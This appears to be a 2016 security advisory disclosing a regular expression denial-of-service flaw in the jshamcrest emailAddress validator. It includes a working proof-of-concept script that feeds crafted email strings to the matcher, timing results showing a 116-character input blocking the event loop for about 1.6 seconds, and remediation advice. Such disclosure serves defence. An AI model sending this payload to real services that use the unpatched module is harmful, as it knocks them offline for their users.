Regular Expression Denial of Service

Module: jshamcrest

Published: January 5th, 2016

Reported by: Adam Baldwin

CVE-NONE

CWE-

Vulnerable: All
Patched: None

Overview

jshamcrest is vulnerable to regular expression denial of service (ReDoS) when certain types of user input is passed in to the emailAddress validator.

"The Regular expression Denial of Service (ReDoS) is a Denial of Service attack, that exploits the fact that most Regular Expression implementations may reach extreme situations that cause them to work very slowly (exponentially related to input size). An attacker can then cause a program using a Regular Expression to enter these extreme situations and then hang for a very long time." [1]

Proof of concept

var js = require('jshamcrest')
var emailAddress = new js.JsHamcrest.Matchers.emailAddress();


var genstr = function (len, chr) {
    var result = "";
    for (i=0; i<=len; i++) {
        result = result + chr;
    }

    return result;
}


for (i=1;i<=10000000;i=i+1) {
    console.log("COUNT: " + i);
    var str = '66666666666666666666666666666@ffffffffffffffffffffffffffffffff.' + genstr(i, 'a') + '{'
    console.log("LENGTH: " + str.length);
    var start = process.hrtime();
    emailAddress.matches(str)

    var end = process.hrtime(start);
    console.log(end);
}

Results

It takes about 116 characters to get a 1.6 second event loop block.

[ 1, 633084590 ]
COUNT: 51
LENGTH: 116

Timeline

  • October 25, 2015 - Vulnerability Identified
  • October 25, 2015 - Maintainers notified (no response)

Remediation

Do not pass untrusted user input into jshamcrest. Consider user a validator like joi that does not rely on regular expressions.

References

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